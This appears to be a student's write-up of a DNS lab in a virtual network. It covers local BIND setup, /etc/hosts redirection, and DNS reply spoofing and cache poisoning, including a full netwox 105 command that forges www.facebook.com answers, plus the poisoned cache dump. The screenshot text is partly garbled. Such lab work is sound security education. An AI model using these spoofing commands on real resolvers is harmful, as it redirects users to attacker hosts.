
## **Task 1: Configure User Machine**

Executed dig <a href="https://www.facebook.com">www.facebook.com</a> command on user machine (VM3). Saw the following message on wireshark:


g from er	p0s3 (ip)			<b>Î</b> Į En	(■1)) 9:32 PM 😃
		<b>(                                    </b>			
Apply	a display filter <ctrl-></ctrl->			<b>□</b> •	Expression +
No.	Time	Source	Destination	Protocol Length	Info
>	1 2019-02-13 21:30:48.9685509	10.0.2.9	10.0.2.10	DNS 87	Standard quer
	2 2019-02-13 21:30:48.9690035	. 10.0.2.10	69.171.255.11	DNS 98	Standard quer
	3 2019-02-13 21:30:48.9903900.	69.171.255.11	10.0.2.10	DNS 237	Standard quer
Ļ	4 2019-02-13 21:30:48.9909174.	10.0.2.10	10.0.2.9	DNS 255	Standard quer



This shows first message was sent from user to server (VM2 on 10.0.2.10) requesting the ip address for <a href="www.facebook.com">www.facebook.com</a>. Then the server VM2 sent a message to 69.171.255.11 requesting ip address. That machine responded with the answer back to server VM2, and last message was server sending answer back to user VM1.

## Task 2: Set up Local DNS Server

The above screenshot was taken right after the server was set up and cache was flushed. Then another dig <a href="www.facebook.com">www.facebook.com</a> was executed twice in succession and here is the message exchange:



Focusing on the last 6 packets captured. You can first see a similar exchange to Task 1 – user queries local DNS server VM2, VM2 queries 69.171.239.11, VM2 gets answer, and VM2 gives answer to user VM1. The second time the query is made, though, user VM1 query goes to Local Server VM2 and is answered immediately. These are the last two packets. And last packet is highlighted showing the proper ip address was cached and returned to VM1 when query was received: 31.13.71.36


## Task 3: Host a Zone in Local DNS Server

Created the two files in /etc/bind directory per the instructions: example.com.db and 192.168.0.db. Then restarted the bind server using the "sudo service bind9 restart command". Then flushed the cache on the server using sudo rndc flush command.

Then I went to user machine VM1 and executed "dig <a href="www.example.com">www.example.com</a>" command. The resulting output returns the nameserver ip address: 192.168.0.101. You can also see the server queried at the bottom is 10.0.2.10 on port 53. This is my VM2.

```
[02/14/19]seed@vm3:~$ dig www.example.com
; <>>> DiG 9.10.3-P4-Ubuntu <>>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18983
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.example.com.
;; ANSWER SECTION:
www.example.com.
                        259200
                               IN
                                                192.168.0.101
;; AUTHORITY SECTION:
example.com.
                        259200 IN
                                        NS
                                                ns.example.com.
;; ADDITIONAL SECTION:
ns.example.com.
                        259200 IN
                                                 192.168.0.10
;; Query time: 0 msec
;; SERVER: 10.0.2.10#53(10.0.2.10)
;; WHEN: Thu Feb 14 18:50:06 EST 2019
;; MSG SIZE rcvd: 93
```

Also the wireshark shows that there were only two messages used to resolve the hostname. The first queries the server VM2, and the second returns the results. The fact that only two messages were used shows that VM2 was the server used.



Part 2: Attack on DNS Task 4: Modifying the Host File

The /etc/hosts file on the user machine (VM3) is modified to add the entry for

www.example.net:

```
etc) - gedit
                                                       hosts
 Save
                  localhost
127.0.0.1
127.0.1.1
                 VM3
# The following lines are desirable for IPv6 capable hosts
        ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1
                 User
127.0.0.1
                 Attacker
127.0.0.1
                 Server
                 www.SeedLabSQLInjection.com
127.0.0.1
              www.SeedLabSQLInject
www.xsslabelgg.com
www.csrflabelgg.com
127.0.0.1
127.0.0.1
                 www.csrflabattacker.com
127.0.0.1
                 www.repackagingattacklab.com
127.0.0.1
                 www.seedlabclickjacking.com
127.0.0.1
1.2.3.4
                 www.example.net
```

Then a dig command is executed to see if it does a DNS query:

```
[02/14/19]seed@vm3:~$ dig www.example.net
 <<>> DiG 9.10.3-P4-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35383
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 5
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.example.net.
                               IN
                                       A
;; ANSWER SECTION:
www.example.net.
                       86400
                                               93.184.216.34
                               IN
;; AUTHORITY SECTION:
example.net.
                       172800 IN
                                               a.iana-servers.net.
example.net.
                       172800 IN
                                               b.iana-servers.net.
;; ADDITIONAL SECTION:
a.iana-servers.net.
                       1800
                               IN
                                               199.43.135.53
                                       AAAA
a.iana-servers.net.
                       1800
                               IN
                                               2001:500:8f::53
b.iana-servers.net.
                       1800
                               IN
                                               199.43.133.53
b.iana-servers.net.
                       1800
                               IN
                                               2001:500:8d::53
;; Query time: 379 msec
;; SERVER: 10.0.2.10#53(10.0.2.10)
;; WHEN: Thu Feb 14 18:59:55 EST 2019
;; MSG SIZE rcvd: 193
```

It returned a different value showing that a DNS query was generated and since <a href="https://www.example.net">www.example.net</a> isn't defined in my VM2 server, it sent the DNS query out and found 93.184.216.34.

When a ping command was executed it tried pinging to 1.2.3.4 showing that it used the /etc/hosts file and didn't query the local DNS server VM2:

```
/bin/bash 85x33

[02/14/19]seed@vm3:.../resolv.conf.d$ ping www.example.net
PING www.example.net (1.2.3.4) 56(84) bytes of data.
^C
--- www.example.net ping statistics ---
131 packets transmitted, 0 received, 100% packet loss, time 133103ms

[02/14/19]seed@vm3:.../resolv.conf.d$
```


To redirect <a href="https://www.bank32.com">www.bank32.com</a> and dig <a href="https://www.bank32.com">www.bank32.com</a> result:

```
t En 🕩 7:29 PM 🔱
[02/14/19]seed@vm3:.../resolv.conf.d$ ping www.bank32.com
PING bank32.com (184.168.221.39) 56(84) bytes of data.
64 bytes from ip-184-168-221-39.ip.secureserver.net (184.168.221.39): icmp seq=1 ttl=
52 time=75.9 ms
64 bytes from ip-184-168-221-39.ip.secureserver.net (184.168.221.39): icmp seq=2 ttl=
52 time=75.8 ms
--- bank32.com ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 2951ms
rtt min/avg/max/mdev = 75.836/75.912/75.988/0.076 ms
[02/14/19]seed@vm3:.../resolv.conf.d$ dig www.bank32.com
; <>> DiG 9.10.3-P4-Ubuntu <>> www.bank32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29930
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 5
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.bank32.com.
                                          TN
;; ANSWER SECTION:
                         3586
                                          CNAME
www.bank32.com.
                                                   bank32.com.
bank32.com.
                         586
                                                   184.168.221.39
;; AUTHORITY SECTION:
bank32.com.
                         3586
                                  IN
                                          NS
                                                   ns14.domaincontrol.com.
bank32.com.
                                                   ns13.domaincontrol.com.
;; ADDITIONAL SECTION:
ns13.domaincontrol.com. 172786 IN
                                                   97.74.106.7
ns13.domaincontrol.com. 172786 IN
ns14.domaincontrol.com. 172786 IN
ns14.domaincontrol.com. 172786 IN
                                          AAAA
                                                   2603:5:21a0::7
                                                   173.201.74.7
                                                   2603:5:22a0::7
;; Query time: 0 msec
;; SERVER: 10.0.2.10#53(10.0.2.10)
  WHEN: Thu Feb 14 19:28:36 EST 2019
  MSG SIZE rcvd: 213
```

Then, I will modify the /etc/hosts file to redirect <a href="www.bank32.com">www.bank32.com</a> to 1.2.3.4. here are the results for both ping and dig:

```
[02/14/19]seed@vm3:.../resolv.conf.d$ ping www.bank32.com
PING www.bank32.com (1.2.3.4) 56(84) bytes of data.
 -- www.bank32.com ping statistics ---
7 packets transmitted, 0 received, 100% packet loss, time 6137ms
[02/14/19]seed@vm3:.../resolv.conf.d$ dig www.bank32.com
; <>>> DiG 9.10.3-P4-Ubuntu <>>> www.bank32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 799
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 5
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.bank32.com.
                                         IN
;; ANSWER SECTION:
www.bank32.com.
                        3264
                                 IN
                                         CNAME
                                                 bank32.com.
bank32.com.
                        264
                                                 184.168.221.39
                                IN
;; AUTHORITY SECTION:
bank32.com.
                        3264
                                                 ns13.domaincontrol.com.
bank32.com.
                        3264
                                         NS
                                                 ns14.domaincontrol.com.
;; ADDITIONAL SECTION:
ns13.domaincontrol.com. 172464 IN
                                                 97.74.106.7
ns13.domaincontrol.com. 172464
ns14.domaincontrol.com. 172464
                                IN
                                         AAAA
                                                 2603:5:21a0::7
                                IN
                                                 173.201.74.7
ns14.domaincontrol.com. 172464 IN
                                         AAAA
                                                 2603:5:22a0::7
;; Query time: 1 msec
;; SERVER: 10.0.2.10#53(10.0.2.10)
;; WHEN: Thu Feb 14 19:33:58 EST 2019
;; MSG SIZE rcvd: 213
```

This shows that dig returns the same results as previously, but ping uses the redirected ip address. Also when I tried to use firefox to access the url, it doesn't work, just locks up:




Task 5: Directly Spoofing Response to User

First I clear the DNS cache in my local DNS nameserver VM2. Then I execute a dig and get a response:on clientmachine!

```
[02/15/19]seed@vm3:.../resolv.conf.d$ dig www.facebook.com
; <>>> DiG 9.10.3-P4-Ubuntu <>>> www.facebook.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 52796
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 5
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.facebook.com.
                                        A
;; ANSWER SECTION:
www.facebook.com.
                                TN
                                        CNAME
                                                star-mini.cl0r.facebook.com.
                        3600
                                                31.13.71.36
star-mini.cl0r.facebook.com. 60 IN
;; AUTHORITY SECTION:
c10r.facebook.com.
                        3600
                                IN
                                        NS
                                                b.ns.c10r.facebook.com.
                        3600
clor.facebook.com.
                                        NS
                                                a.ns.cl0r.facebook.com.
;; ADDITIONAL SECTION:
a.ns.cl0r.facebook.com. 3600
                                                69.171.239.11
                                        AAAA
                                                2a03:2880:fffe:b:face:b00c:0:99
a.ns.cl0r.facebook.com. 3600
                                IN
b.ns.cl0r.facebook.com. 3600
                                IN
                                                69.171.255.11
b.ns.c10r.facebook.com. 3600
                                        AAAA
                                                2a03:2880:ffff:b:face:b00c:0:99
                                IN
;; Query time: 416 msec
;; SERVER: 10.0.2.10#53(10.0.2.10)
;; WHEN: Fri Feb 15 15:29:37 EST 2019
;; MSG SIZE rcvd: 213
```


The wireshark listing shows the queries required to get the IP address. They were numerous:

- -User queries local nameserver VM2
- -VM2 queries 199.7.83.42 (l.root-servers.net) and it gives next server to try
- -VM2 queries 192.54.112.30 (h.gtld-servers.net) and it gives next server to try
- -VM2 queries 69.171.239.12 (a.ns.facebook.com) and it gives next server to try
- -VM2 queries 69.171.255.12 (b.ns.facebook.com) and it gives next server to try
- -VM2 queries 69.171.255.11 (a.ns.c10r.facebook.com) and it gives the ip address of the server hosting www.facebook.com 31.13.71.36 (star-mini.c10r.facebook.com).



Then I clear wireshark and flush the cache on VM2 server Next I enter the netwox 105 command on my attach machine VM1







Then, I execute a dig <u>www.facebook.com</u> command from VM3:

```
[02/15/19]seed@vm3:.../resolv.conf.d$ dig www.facebook.com
; <>>> DiG 9.10.3-P4-Ubuntu <>>> www.facebook.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20673
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; QUESTION SECTION:
;www.facebook.com.
                                IN
:: ANSWER SECTION:
www.facebook.com.
                        2000
                                                 1.2.3.4
;; AUTHORITY SECTION:
b.ns.cl0r.facebook.com. 2000
                                TN
                                        NS
                                                 b.ns.c10r.facebook.com.
:: ADDITIONAL SECTION:
b.ns.cl0r.facebook.com. 2000
                                                 69.171.239.11
;; Query time: 20 msec
;; SERVER: 10.0.2.10#53(10.0.2.10)
  WHEN: Fri Feb 15 16:00:57 EST 2019
;; MSG SIZE rcvd: 110
```

You can see the netwox command sniffed the DNS query and spoofed a DNS reply. And here is output of the netwox command:



Interestingly, the real DNS query is returned to the VM2 server and the cache updated. It also attempts to give this information to the user machine. But it is rejected since the user machine already received a reply from the attack machine. This can be seen in the wireshark message listing (the last two messages are the attempt to send from VM2 (10.0.2.10) to User VM3 (10.0.2.9) and the last message is the ICMP failure message. It shows port unreachable. I am assuming because it received a response, the user machine closed the port it used to send the DNS query



We can show the "real" valid response to the DNS query was received by local nameserver VM2 and cached, by doing another dig <a href="www.facebook.com">www.facebook.com</a> and seeing this time it returns the real server information:

```
[02/15/19]seed@vm3:.../resolv.conf.d$ dig www.facebook.com
; <>>> DiG 9.10.3-P4-Ubuntu <>>> www.facebook.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58066
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 5
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.facebook.com.
                                IN
;; ANSWER SECTION:
www.facebook.com.
                        3122
                                IN
                                        CNAME
                                                star-mini.cl0r.facebook.com.
star-mini.cl0r.facebook.com. 60 IN
                                                31.13.71.36
;; AUTHORITY SECTION:
clor, facebook, com.
                                        NS
                                                a.ns.cl0r.facebook.com.
                        3122
                                IN
clor.facebook.com.
                        3122
                                IN
                                        NS
                                                b.ns.cl0r.facebook.com.
;; ADDITIONAL SECTION:
a.ns.cl0r.facebook.com. 3122
                                                69.171.239.11
                                IN
a.ns.cl0r.facebook.com. 3122
                                        AAAA
                                                2a03:2880:fffe:b:face:b00c:0:99
                                IN
b.ns.cl0r.facebook.com. 3122
                                IN
                                                69.171.255.11
                                                2a03:2880:ffff:b:face:b00c:0:99
b.ns.c10r.facebook.com. 3122
                                IN
                                        AAAA
;; Query time: 20 msec
;; SERVER: 10.0.2.10#53(10.0.2.10)
;; WHEN: Fri Feb 15 16:08:56 EST 2019
;; MSG SIZE rcvd: 213
```

The netwox command is still running, but since the VM2 didn't need to send a DNS query off to the root-server, it could quickly reply to the query from VM1. And now the message that fails is the one from VM1 attacker with the spoofed reply:

	4/ 2013-02-13 10.00.30.3/13213 03.1/1.233.11	10.0.2.10	CNIA	237 Stanuaru yu
	48 2019-02-15 16:00:58.3720802 10.0.2.10	10.0.2.9	DNS	255 Standard qu
	49 2019-02-15 16:00:58.3723474 10.0.2.9	10.0.2.10	ICMP	283 Destination
-	60 2019-02-15 16:08:56.0551751 10.0.2.9	10.0.2.10	DNS	87 Standard qu
	61 2019-02-15 16:08:56.0556339 10.0.2.10	69.171.255.11	DNS	98 Standard qu
	62 2019-02-15 16:08:56.0747279 69.171.255.11	10.0.2.10	DNS	237 Standard qu
	63 2019-02-15 16:08:56.0752794 10.0.2.10	10.0.2.9	DNS	255 Standard qu
	64 2019-02-15 16:08:56.0968502 10.0.2.10	10.0.2.9	DNS	152 Standard qu
4	65 2019-02-15 16:08:56.0972908 10.0.2.9	10.0.2.10	ICMP	180 Destination
	▼ Queries			
	▼ www.facebook.com: type A, class IN			
	Name: www.facebook.com [Name Length: 16] [Label Count: 3] Type: A (Host Address) (1) Class: IN (0x0001)			
	▼ Answers	<i>₩</i>		
	▶ www.facebook.com: type A, class IN, addr 1.2.3.			
	▼ Authoritative nameservers b.ns.c10r.facebook.com: type NS, class IN, ns b	.ns.c10r.facebook.co	om	
	▼ Additional records			
	▶ b.ns.c10r.facebook.com: type A, class IN, addr	69.171.239.11		

The last message (ICMP failure) message is highlighted and you can see in bottom section that it is the spoofed DNS reply (with the 1.2.3.4 ip address).

## Task 6: DNS Cache Poisoning Attack

First I clear the cache from server VM2.


Then, I execute the netwox command to poison the cache:

```
[02/15/19]seed@vm1:~$ sudo netwox 105 --hostname "www.facebook.com" --hostnameip 1.2.3.4 --authns "b.ns.cl0r.facebook.com" --authnsip 69.171.255.11 --ttl 600 --filter "src host 10.0.2.10" --spoofip "raw"
```

Then I dig <u>www.facebook.com</u>:

```
;; SERVER: 10.0.2.10#53(10.0.2.10)
;; WHEN: Fri Feb 15 16:52:13 EST 2019
;; MSG SIZE rcvd: 100
[02/15/19]seed@vm3:.../resolv.conf.d$ dig www.facebook.com
; <>>> DiG 9.10.3-P4-Ubuntu <>>> www.facebook.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16004
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
:www.facebook.com.
                                 IN
                                         A
;; ANSWER SECTION:
                                                 1.2.3.4
www.facebook.com.
                         600
                                 TN
;; AUTHORITY SECTION:
                         600
                                         NS
                                                 b.ns.c10r.facebook.com.
                                 IN
;; ADDITIONAL SECTION:
b.ns.cl0r.facebook.com. 600
                                                 69.171.255.11
                                 IN
;; Query time: 11 msec
;; SERVER: 10.0.2.10#53(10.0.2.10)
;; WHEN: Fri Feb 15 16:55:43 EST 2019
;; MSG SIZE rcvd: 100
```

I get the spoofed reply. I can also see all the messages going back and forth between VM2 and other machines. But when I clear wireshark and execute again, I only get two messages, showing that the address is cached in the VM2 nameserver:



Then I stop the netwox command and execute Dig from the user VM3 machine:

g from	enp0s3 (ip)														11 En	<b>(1)</b>	:59 F	W 🕁
			X	© Q	<	>	3	F	-31	_		0	1					
dns															× 🗀 🕶	Express	ion	.   +
No.	Time				Source	e				Dest	ination		Pro	otocol	Length	Info		
n <del>t</del>	1 2019-02	-15 16:57	1:48.	9662652	10.0.	2.9				10.0	.2.10		DN	S	87	Standa	rd i	quer
_	2 2019-02	-15 16:57	:48.	9666301	10.0.	2.1	0			10.0	.2.9		DN	S	142	Standa	rd	quer
	5 2019-02	-15 16:58	3:48.	7539760	10.0.	2.9				10.0	.2.10		DN	S	87	Standa	rd	quer
	6 2019-02	-15 16:58	3:48.	7543323	10.0.	2.1	0			10.0	.2.9		DN	S	142	Standa	rd	quer

see only two more messages get captured from User to server and server to user – showing address is cached and poisoned because it reurned spoofed IP address info.

I also dump the cache and see the entry in the dump.db file:

```
t En 4)) 5:01 PM ひ
🔞 🖨 😑 /bin/bash
間3;J
[02/15/19]seed@vm2:.../bind$ sudo cat /var/cache/bind/dump.db
; Start view default
; Cache dump of view ' default' (cache default)
$DATE 20190215220025
; authanswer
                        318
                                IN NS
                                        b.ns.cl0r.facebook.com.
; authauthority
b.ns.c10r.facebook.com. 318
                                NS
                                        b.ns.c10r.facebook.com.
; additional
                                        69.171.255.11
                        318
 authanswer
www.facebook.com.
                                        1.2.3.4
                        318
                                A
 authanswer
                        604518 AAAA
                                        2001:500:a8::e
e.root-servers.net.
; authanswer
g.root-servers.net.
                        604518 AAAA
                                        2001:500:12::d0d
 Address database dump
```